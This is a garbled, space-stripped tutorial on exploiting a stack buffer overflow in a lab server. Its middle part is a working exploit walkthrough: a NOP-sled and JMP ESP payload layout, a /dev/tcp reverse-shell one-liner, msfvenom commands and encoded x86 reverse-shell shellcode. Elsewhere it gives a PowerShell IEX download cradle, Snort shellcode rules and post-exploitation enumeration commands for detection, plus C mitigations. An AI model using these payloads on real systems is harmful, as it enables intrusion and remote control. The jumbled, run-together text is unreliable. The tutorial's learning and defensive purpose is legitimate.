the object space can be overwritten with malicious code This is due to how allocation of heap is managed de-allocated freed and how
virtualfunctionsarereferencedviavirtualtables
httpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdf
httpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdf
httpswwwrapid7comresourceswhy-you-should-be-using-emet
HEAPSprayswithASLRdisabledVirtualAlloc()inWindows
If you canrsquot find memory location of instructions in ASLR protected binaries and libraries it appears you can spray the heap and create
write chunks to memory of NOPs and malware You would likely still need to bypass DEP so ROP chains still apply however you can
either look for non ASLR binary to ROP or spray ROP gadgets in the blocks passed to HEAP Spraying Heap with memory allocated by
VirtualAlloc() appears to have been a successful method by bypass ASLR because VirtualAlloc() was not ASLR protected but this
seemslikejustplainluck
httpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystified
httpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdf
BlueteamEngineeringforpostBufferOverflow
For my own general curiosity I wanted to end this PoC with some notes on how detect a Buffer Overflow attack My intent is to just
learn and see where it takes me As a newcomer maybe this will help paint a better picture of cyber-security as a whole Because BOrsquos
are memory attacks it can be difficult to detect unless you have a low level program monitoring for Canary issues NX issues
SEGVFAULT x90rsquos ROPs etc Windows has offered EMET historically and more recently offered an IPSIDS in Windows Defender to
Enterprise There are also some ldquoNext Genrdquo IDSIPS that install in kernel space which have the logic to look for such events As I
thoughtthroughthisIlumpedthedetectionintotwobuckets
1 DetectingFailedBufferOverflowAttempts
2 DetectingSuccessfullyBufferOverflowAttempts
DetectingFailedBufferOverAttemptsinWindows
If you want to hunt attackers who attempt buffer overflow you can turn to the logs For examples EMET (Windows ASLRDEP) events
are logged as a Windows event source called EMET More modern Windows Defender Exploit Guard follows a similar pattern as the
oneIrsquomgoingtooutlineEMETDefenderlogscanbefoundintheWindowsApplicationlog
For EMET there are three levels Information Warning and Error Information messages are used for logging usual operation such as
the EMET Notifier starting Warning messages are used when EMET settings change Error messages are used for logging cases
whereEMETstoppedanapplicationwithoneofitsmitigationswhichmeansanactiveattackhasbeenblocked
EMET and Defender logs can be sent to a central log collection server or from the local machine Irsquoll refer to an example where their
sent to a central log collector parsed then sent onto your SIEM Here is a brief example of an a SPLUNK integration on Windows but a
similarmodelcouldbedeployedwithSyslogSyslogServersandanELKStackactingasaSIEM
Yoursquoll need to ensure your local endpoints are configured to log EMET via GPO Windows Event Collector service is enabled and a
collection server is deployed Here is an example of a local local log policy setting to push down to the endpoints being monitored via
GPOetc
ltQueryListgt
ltQueryId=0Path=Applicationgt
ltSelectPath=Applicationgt[System[Provider[Name=EMET]and(Level=2)]]ltSelectgt
ltQuerygt
ltQueryListgt
To analyze the EMET data in Splunk yoursquoll need to install the Splunk Universal Forwarder on the central log collection server and
configure it to send logs from the collectorsyslog server to a Splunk indexer Splunk Indexer is just a fancy way to say a network service
to send your logs to which has some special logic to parser filter transform and write your logs in a unique format to Splunk based on
somepredefinedSplunkpolicy
Yoursquoll may need to set a filter on the central log server to parse the events for the EMET alerts before sending them on Below is an
exampleoftheWindowseventssubscriptionfilterRememberthedefaultlocationofforwardedlogeventsistheForwardedEventslog
The following is a Splunk sample configurations that can be used in the Splunk inputsconf file on the central log collection server
BasicallythispolicysayswhichlogscangetsentontotheSIEM
[WinEventLogForwardedEvents]
disabled=0
renderXml=1
evt_resolve_ad_obj=1
The above policy config tells the Splunk Universal Forwarder to monitor the Forwarded Events log on the log collection server and to
and send the events in XML format allows for facilitated extraction of information in Splunk to aid in the creation of useful Splunk
queries
SampleEMETEvent
EMETversion55587131892
EMETdetectedEAF+mitigationandwillclosetheapplicationIEXPLOREEXE
EAF+checkfailed
ApplicationCProgramFiles(x86)InternetExplorerIEXPLOREEXE
UserNameDOMAINuser
SessionID1
PID0x1348(4936)
TID0xF90(3984)
ModuleSOMEDLLdll
ModBase0x11630000
ModAddress0x11642E99
MemAddress0x76F501A4
Your Blue Team can configure an alert based on these results Consider correlating the alert with internal ranking of the assets value to
prioritize the response For example an alert like this on a PCI system or system storing your unreleased Intellectual Property may
need immediate action compared to a non production server being pen tested Although a non production server sounds like a nice
beachheadtomaintainafoothold
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdf
httpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-server
DetectingSuccessfulBufferOverAttempts
The Blue Team philosophy is to assume your compromise and look for Indicators of Compromise In this model we assume the attacker
has successfully launched a buffer overflow and gained command and control over the asset Which means our mitigations have failed
which they will In my mind there are two techniques Irsquod lie to cover Irsquom sure there are more but as a newcomer I think these two
approachespaintsasolidpicture
1) Networkbasedsignaturedetection(Thismayalsocatchunsuccessfulattempts)
2) Hostbasedsignaturedetection
NetworkBasedDetection
Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the
clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication
1 EncodedHEXpayloadmalwarewithintheclientattack
2 Abunchofx90rsquoswithintheclientattack
3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal
If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have
SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from
bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit
generatedBSDshellcode
alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)
content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416
classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment
Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at
2010_07_30updated_at2016_07_01)
alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)
content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly
referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any
attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag
Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)
Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly
impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS
interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the
payloadsolargethattherulesareignoredduetoperformanceaswellSneaky
HostBasedDetection
In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and
made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer
OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean
Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas
netviewdomain
netuserdomain
netaccountsdomain
Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas
systeminfo
netlocalgroupldquoAdministratorsrdquo
uname-a
catprocissue
Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell
start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait
powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString
(http10022108081CodeExecutionInvoke-Shellcodeps1)
Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc
ENJOY
ReferencesandHonorableMentions
GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors
Now most importantly what do we put into the Instruction Pointer That depends on where your buffer of x90rsquos land To find our
NOPSletsruntheattackwiththefollowinglogicintheclientpy
MESSAGE=x901040+x454+x901000
Letrsquosswitchsomethingsupandtryanewdebuggerhellip
1 Server1337
2 Fromterminal2rarredb
3 FromedbUIrarrfilerarrattachrarrldquoServerrdquo
4 FromedbUIrarrfilerarrdebugrarrrunrarrrun(twiceorso)
5 UpdateyourclientPoCcode
6 pythonclientPoCpy1337
CodeChanges
malware=(x41100)
eip=x424
ending=x90200
nopsled=(x90(1000-len(malware)))
MESSAGE=x901040+eip+nopsled+malware+ending
Welandsomex42rsquosperfectlyonEIPwhichmeansweadjustedforthebuffercorrectly
Right click in the registers and do a follow in memory dump In this case I clicked ESP and found some 90rsquos in the bottom left-hand
corner
Looking at our memory we see can see the 90rsquos we wrote before EIP we can see the x42 which is EIP and we can see that ESP points
to memory address bffff310 If we continue to scroll down into ESP we should find a bunch of Arsquos which symbolizes our malware At
memoryaddressbfff6a0wefindourArsquoswhichmightaswellbemalware
Nowthatweknowthex90rsquosfeednicelyintoourmalwarewewanttofindalocalstaticbinarywithanOPCODEthatallowsustojump
intoESPWersquollneedabinarythatisalreadyloadedintomemorythatgrantsourprogramreadpermissionFromtherewewillsearchfor
aJMPESPopcodetofindamemorylocationwiththatinstruction
1 runthevulnerableserver
2 startupedbdebuggerandattackthevulnerableserver
3 rightclickPluginsrarrOpsCodesearchrarrClickESPtoEIP
4 Manuallysearchthrougheachloadedbinaryandclicksearch
0xb7facf97 or x97xcfxfaxb7 is the memory location of the OPCODE instruction we need to insert into EIP in order to trick the CPU
tojumpintothememoryaddressheldatESPregisterandthenexecuteourmalwareinESPAsafriendlyreminder
So what do we want our malware to do For now letrsquos create a simple reverse shell back to a command and control server In the
futureIrsquollwriteapaperaboutacustompieceofmalwarejustforfun
Aboilerplateuniversalreverseshellonlinuxlooksliketheonebelow
binsh-igtampdevtcp12700144440gtamp1
Letrsquos test this out on a similar OS to the target server (as best we can) to make sure it will run correctly Wersquoll create a netcat listener in
one terminal listening on port 4444 and wersquoll execute the reverse shell from another terminal and attempt to connect to the listener It
lookslikethissimplereversebinshshellcommandwillworkonthetargetOS(mylocalhostlolz)
The next part that gets overlooked is the assembler encoding into machine op code Kali Linux and Metasploit have tools that generate
a bunch of shellcode for you but the details of the tools can be easily missed or misunderstood If your self-taught noob like myself and
not comp-sci person then itrsquos good we take a moment to cover this Even if you donrsquot fully understand it yoursquoll at least understand there
isanaddedlayerofcomplexity
LetrsquosrefertoourfriendwikipediaforhelphereIpersonallyconcatenateabunchofthistogetherbecauseIfounditusefulinmynotes
ldquoThe Netwide Assembler (NASM) is an assembler and disassembler for the Intel x86 architecture It can be used to write 16-bit 32-bit (IA-32) and 64-bit (x86-64) programs
NASM principally outputs object files which are generally not executable by themselves In computing object code or object module is the product of a compiler In a general
sense object code is a sequence of statements or instructions in a computer language usually a machine code language (ie binary) or an intermediate language such as
register transfer language (RTL) An assembler is used to convert assembly code into machine code (object code) An assembly language (or assembler language) often
abbreviated asm is any low-level programming language in which there is a very strong correspondence between the programs statements and the architectures machine
codeinstructionsrdquo
So when we put in x90x41x42 etc etc you might have noticed that the values stayed the same in memory and in the registers But
when we put in a bunch of Arsquos for some reason the EIP register spit out x41s Well when we performed ldquoinfo all-registersrdquo wersquore seeing
the HEX variant (x41x42x43) of the variables used in the CPUrsquos assembly language Thatrsquos part of the assembly language at work
helpingusgofromahigherlevellanguageinCtoalowerlevellanguagetotheCPUthatwedonrsquotunderstandlikebinary1rsquosand0rsquos
So when we write our malware to the registers it seems best to encode it into the assembly NASM HEX variant of the ASCI characters
commands because the assembly is already expecting that value in the register to execute when the function is called I canrsquot explain it
any deeper other than saying itrsquos ldquomagicrdquo All I know is that if you try to put human readable bash command syntax into a register the
registerdoesntknowwhattodowithitbecauseldquoitdoesntspeakthatlanguagerdquohellipyoufeelme(-8hellip
PutsimplyletrsquostakethecommandwearefamiliarwithinBASHandencodeitintosimpleHEXforillustrationhellip
binsh-igtampdevtcp12700144440gtamp1
encodesto
x2fx62x69x6ex2fx73x68x20x2dx69x20x3ex26x20x2fx64x65x76x2fx74x63x70x2fx31x32x37x2ex30x2ex30x2ex31x
2fx34x34x34x34x20x30x3ex26x31
Unfortunately the assembly still wont ldquounderstandrdquo what that HEX bash command means Largely because wersquore executing directly
from the stack and therefore we need x86 equivalent instructions However it does visually illustrate the point that wersquore taking a
simpleshellcommandandencodingitintoassemblyandwritingtheoutputinCHEX
To make this easier wersquoll use a tool from here on to help us translate a similar shell command like the one below into a lower level x86
encodedcommandthatthekernelcaninterpret
binsh-igtampdevtcp12700144440gtamp1
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
x86encodedShellCode
xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1
x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f
xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0
xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45
x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33
x21x0bx8fxc0xd9xbbxe0x09x7bx55x76xb6x29xf6x01
xd8x7dxf3xdcx9b
TheMSFVENOMtoolisextremelyfeaturerichItiseasytorunitblindlybasedonsomeblogortrainingcoursewithoutfully
understandingthedetailsbehindthepayloadsencodersandoutputUsingourexampleIrsquollgivea60secondbreakdownItrsquosreally
worthreadingthemanpageonmsfvenomtounderstandthearchitecturesandencoders
- p=payloadwherepayloadcouldbelowlevelassemblycompiledjavajspshellcommandscrossplatform
- shell_reversewheretheUnderscoremeansasinglestagedpayloadThismeanstheentireremotecodeexecutionoccursina
singlegoAlternativelyamulti-stagedpayloadmightinjectaldquodownloaderrdquothenrunthedownloadedagainsttheattackerrsquos
ldquoWebServerrdquotogetadditionalremotecodecommandexecutionThinkstage1ldquocurl-sattackeripmalwarerdquowhilestage2is
malwareldquobinsh-igtampdevtcp12700144440gtamp1rdquoorsometihngfarbiggerandmoreadvanced
- f=formathellipThatcanberawCJSPshelletcetc
- -eistheencoderinthiscaseforthex86architecturewersquoreworkingonbuttherearemanymanymore
- -baretheldquobadrdquocharactersIrsquoveincludedafewexampleshere
Wheredoweputourmalware
While writing these notes I first put the shell code at the beginning of the buffer before EIP Letrsquos think about this for a second in the
clientpyscriptputtingthemalwarebeforeEIPlookslikethis
NOPSLED+MALWARE+EIP(RETURNBEFOREMALWARE)+NOPS
Personally I found the first approach difficult for this C program because the NOPSLED overwrote 90rsquos to all my registers This is
important because I had no OP CODE which I could use to dynamically jump into the NOPSLED before the MALWARE I was left
manually searching for a memory address of my NOPSLED and hard coding the memory address into the program This is inferior
because you may want to test larger MALWARE which could overwrite your memory address or you may have a different memory
address when you run this exploit on a target system outside of your lab Once again hard coding the return point is bad and
unfortunatelytheNOPSLEDbeforeEIPdidntgivememuchtodynamicallyjumpinto
HoweverIdidfindthatputtingmymalwareafterEIPopenedsomenewdoorsThisapproachlooksclosertothesyntaxbelow
NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS
LikebeforewhenfindingJUMPESPyoucantestthisoutbygeneratingcodesimilartothecodebelow
malware=x41x30
eip=x97xcfxfaxb7
eip=x41x41x41x41
ending=x90200
nopsled=(x41(1000-len(malware)))
MESSAGE=x901040+eip+nopsled+malware+ending
After updating the code in the clientpy script go ahead and run the attack against the vulnerable server while in EDB debug mode Then
look into your register windows and try to ldquoFindrdquo any x90rsquos or if you used Arsquos x41rsquos If you find a register in my case ESP I overwrote
with a bunch of x41rsquos So instead of manually hard coded a memory location into the exploit I can now simply reference by ESP register
pointertojumpintothenopsled
One point here that was omitted online is the value of this In order to ldquoJumprdquo into all those ldquoArsquos you will need a librarydll with that
specific x86 operation code which your program has access to Letrsquos say Windows or Linux has a library with a JMP ESP command that
can program can call then your exploit becomes more portable because you can simply call that library Plus if you want to try out
bigger malware payloads you donrsquot have to go down into lower memory locations and hard code the new NOP location to ldquomake roomrdquo
for a bigger payload With memory protections enabled I suspect this becomes more complex but I think for now wersquoll go with the shell
codeaftertheEIPsowecanjumpintoESP
NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS
BadCharactersinCustomMalwareIfyouweretoattempttofindyourownbufferoverflowinapieceofsoftwareandwriteyourownremotecodeexecutionorremotecommandexecutionyouwouldfindthatsomecharactersarereservedforpromotinglanguageandassemblerForexamplex00isusedforNULLpointterminationinCwhichindicatesanendofanarrayorbufferandtellsaprogramtostopatthepointitseesx00OtherlanguagesmayhavesimilarreservedtypeofcharactersyouwanttocommitAsanoverlysimplifiedexamplehellip
x86encodedShellCodewBadCharacters(Fornextsection)
xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1
x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f
xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0
xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45
x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33
x21x0bx8fxc0xd9xbbxe0x09x7bx00x00x55x76xb6x29xf6x01
xd8x7dxf3xdcx9bx00x00
Nowletrsquosupdateourclientpycodetoreflectthesechangesandincludethereverseshellpayloadwejustmade
UpdatedclientpyCodewiththeldquoBadCharactercoderdquo
Wersquore getting close to the moment of truth The expected behavior is when turn on another netcat listener on port 4444 and run the
clientpy the clientpy script will attack the vulnerable tcp server and write our malicious code into the vulnerable serverrsquos buffer and
overwrite EIP with a memory pointer that will tell the CPU to ldquogo backrdquo to our malicious command which will ultimately create a
connection back to the ldquoattackerrdquo on the listening 4444 port However because we have ldquoBad Charactersrdquo we know the connection
willfail
Enablenetcatonport4444(nc-lvp4444)
TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB
Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)
WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444
We notice that the attack fails because the connection back to our attacking machine (farthest right) does not respond to our ID or
WHOIScommandsLetrsquosinvestigate
1 RightclickEIPinRegisterWindowsrarrFollowinDump
2 ScrollaroundandfindthemalwareinbetweentheNOPSLEDandNOPending
3 Lookforx00commandsandtrytonoticeanythingorstrange
WhattheTargetMachineSees
Whatwesentover
We go through each HEX character one by one and notice if any original character from the client payload are omittedgoofed up etc
etc This is a slow and tedious part of the process and arguably the best opportunity to learn We see a whole string of characters does
not ldquomatchrdquo So what happened The bad characters are reserved for various operations and memory locations If you send an OP
CODE for example then the machine will just process it ldquoas isrdquo not knowing that the characters you sent are part of a specific sequence
of characters to form a command In an environment where you are trying to encode BASH command or x86 x64 you will run into
various characters that your malware payloads canrsquot use If you donrsquot spend the time checking the memory dump for bad
charactersthenyouwillhavemanysadandlonelyhoursbehindthekeyboard
So we have to generate a payload that can omit bad characters Luckily we have a program to help us generate x86 shellcode and
omitcharacters
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
TestingforbadcharactersisthebestwayforyoutolearnthedebuggerassemblyandHEXYoucandoitatleasttwowaysthatIknow
ofhellip
1 UseagiantblobofallASCIcharactersinHEX
2 Generateacouplesimplepayloadsyouwanttoexecuteandwalkthroughthepayloadlinebyline
Howtotestforbadcharactersandotherassemblyandregisterissues
Terminal1Server1337
Terminal2edb(orGDBIwonrsquotjudge)
fromedbrarrattachrarrServer
fromedbrarrdebugrarrclickrunrarrclickrunagainrarrlookatbottompainandseeiftheprogramisrunning
Terminal3ExecutetheclientscriptwithyourmaliciouspayloadpadwithArsquosorNOPSsoyoucanldquoFindrdquoyourcodequicklyinmemory
Yoursquollbelookingforx41orx90rsquos
Option1-AlltheASCII
x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10
x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20
x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30
x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40
x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50
x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60
x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70
x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80
x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90
x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0
xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0
xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0
xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0
xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0
xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff
Option2-Testsomespecificcommands
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1
x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f
x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a
x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0
x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91
xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1
x7dxaaxa8x1cxfd
The-bx00x0ax0doptioninthecommandwillomitthex00rsquosfromtheoutputPreviouslyIpurposelyinsertedsomepeskyx00rsquosinto
thisshellcodeforillustrationTherealityisthatevenMSFVENOMmayoutputapayloadwithbadcharacterandyoustillneedtotest
Anothernoteisthattrytouseaverysimplepieceofmalwareforthefirstcodeexecution
ldquoThelargermoreadvancedthemalwareisinthebufferoverflowsthemorelikelyyouaretorunintobadcharacterandotherruntime
issuesitrsquosjustsimplemathhellipmorecharactersmorechancesforfailurerdquo
KeepitsimpleandsmallYoudonrsquotalwaysneedreverseshellsandmaybeyoucanrsquotuseareverseshellbecauseofbadcharactersor
hardeningRememberyoucanalwaysgetabiggerpayloadorbinarydowntothemachinewithasimpleTFTPGETCURLorECHO
commandLetrsquosruntheattackwiththebadcharactersomittedandseeifwecanlandashell
NewPayload
xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1
x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f
x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a
x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0
x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91
xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1
x7dxaaxa8x1cxfd
Enablenetcatonport4444(nc-lvp4444)
TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB
Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)
WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444
ClickldquoRunthroughprogramrdquobecauseyoumaybecaughtindebugmode
FinalResults
SuccessItlookslikethestackwasoverwrittenandwesuccessfullytoldEIPtopointintoourNOPSELDlocatedinESPFromthere
theCPUranthroughthememoryuntilitgotourmaliciouscodeThereverseshellcommandexecutedinthestackandconnectedback
toourldquoattackingrdquoterminal(farthestright)
CommonBufferOverflowExampleandMitigations(inC)
WhetheryourwritingsourceoryoujustreversedengineeredacompiledbinarywithGHIDRAyoumaywanttoknowwhichfunctionsare
morelikelytocauseanoverflowOlderClibraryfunctionslikestrcpy()strcat()sprintf()andvsprintf()operateonnullterminated
stringsandperformnoboundscheckingGets()isanotherfunctionthatreadsinput(intoabuffer)fromstdinuntilaterminatingnewline
orEOF(EndofFile)isfoundThescanf()familyoffunctionsalsomayresultinbufferoverflowsUsingstrncpy()strncat()snprintf()
andfgets()allmitigatethisproblembyspecifyingamaximumstringlengthofNHerersquosafewwelldocumentedexamplesIprovidedthe
assemblyinstructionstoillustratethatyoumightbeabletoreverseengineerwhereBOrsquospresentthemselvesfromobservingthe
registersofacompiledbinaryorreviewingtheoutputfromGHIDRA
gets
Thestdiogets()functiondoesnotcheckforbufferlengthandalwaysresultsinavulnerability
VulnerableCode(SOURCE)
printfexternallink(Inputsomethingnastyhere)
gets(something)
VulnerableCode(ASSEMBLY)
FixedCode
printfexternallink(Inputsomethingnastyhere)
fgets(usernameLENGTHstdin)
strcpy
Thestrcpybuilt-infunctiondoesnotnativelycheckbufferlengthsAsillustratedinourexampleiscanoverwritememoryzone
contiguoustomemorywherethepayloadisstored
VulnerableCode
charstr1[10]
charstr2[]=badstuffhere
strcpy(str1str2)
FixedCode(SOURCE)
enumBUFFER_LIMIT=1024
intmain()
chardst[BUFFER_LIMIT]
charsrc[]=badstuffhere
intbuffer_length=strlcpy(dstsrcBUFFER_LIMIT)
if(buffer_lengthgt=BUFFER_LIMIT)
printfexternallink(Stoptryingtooverflowmybufferd(disthelengthn
buffer_lengthBUFFER_LIMIT-1)
VulnerableCode(ASSEMBLY)
Anotherwaytomitigatestrcpyissuethatcomesupinblogsandowaspisstrncpywhichcanpreventbufferoverflows
FixedCode(SOURCE)
enumBUFFER_BOUNDARY_SIZE=1024
charstr1[BUFFER_BOUNDARY_SIZE]
charstr2[]=badstuffhere
strncpy(str1str2BUFFER_BOUNDARY_SIZE)limitsthenumberofcharacterstobecopiedtofizedlengthofbuffersize
strcat
YoumayalsoseetheuseofstrcatinsteadofstrncatstrcatdoesnotnativelysupportsettinganNlimitontheargumentpassedinto
thebufferAppendsthefirstnumcharactersofsourcetodestinationplusaterminatingnull-characterIfthelengthoftheCstringin
sourceislessthannumonlythecontentuptotheterminatingnull-characteriscopied
FixedCode(SOURCE)
defineBUFFER_BOUNDARY_SIZE1024
charbuff[BUFFER_BOUNDARY_SIZE]
Usesecurestrncpythenuse
strlcpy(buffString1BUFFER_BOUNDARY_SIZE-1)
buff[BUFFER_BOUNDARY_SIZE-1]=0
strncat(buffString2BUFFER_BOUNDARY_SIZE-strlen(buff)-1)
strcmp
ComparestheCstringstr1totheCstringstr2ThisfunctionstartscomparingthefirstcharacterofeachstringIftheyareequaltoeach
otheritcontinueswiththefollowingpairsuntilthecharactersdifferoruntilaterminatingnull-characterisreachedStrcmpdoesnot
validatethesizeoftheinputagainstthepredefinedbuffer
OtherMitigationstoBufferOverflows
During this tutorial I asked you to disable a few protections so we can perform a basic overflow PoC For example you had disable
ASLR in Linux using the procsyskernelrandomize_va_space interface You may have noticed the compiled C binaries needed the
following arguments -fno-stack-protector and -z execstac passed at compile time to remove C memory protections Modern exploits
need to bypass these advanced mechanisms so therersquos an entirely new rabbit hole Irsquoll only cover a few very broad areas here for my
own interest and to set myself up for further PoCrsquos and papers in the journey ahead The following should be just enough for the
newcomertodiptheirtoesintothesubjects
Canary
A less useful protections involves a method called a stack canary protections A stack canary work by modifying every functions
prologue and epilogue regions to assign a special ldquoCanaryrdquo character and check if the canary value is on the stack If not the canary
ldquosingsrdquo to warn you lol An example is The Stack Smashing Protector (SSP) compiler feature which according to their website helps
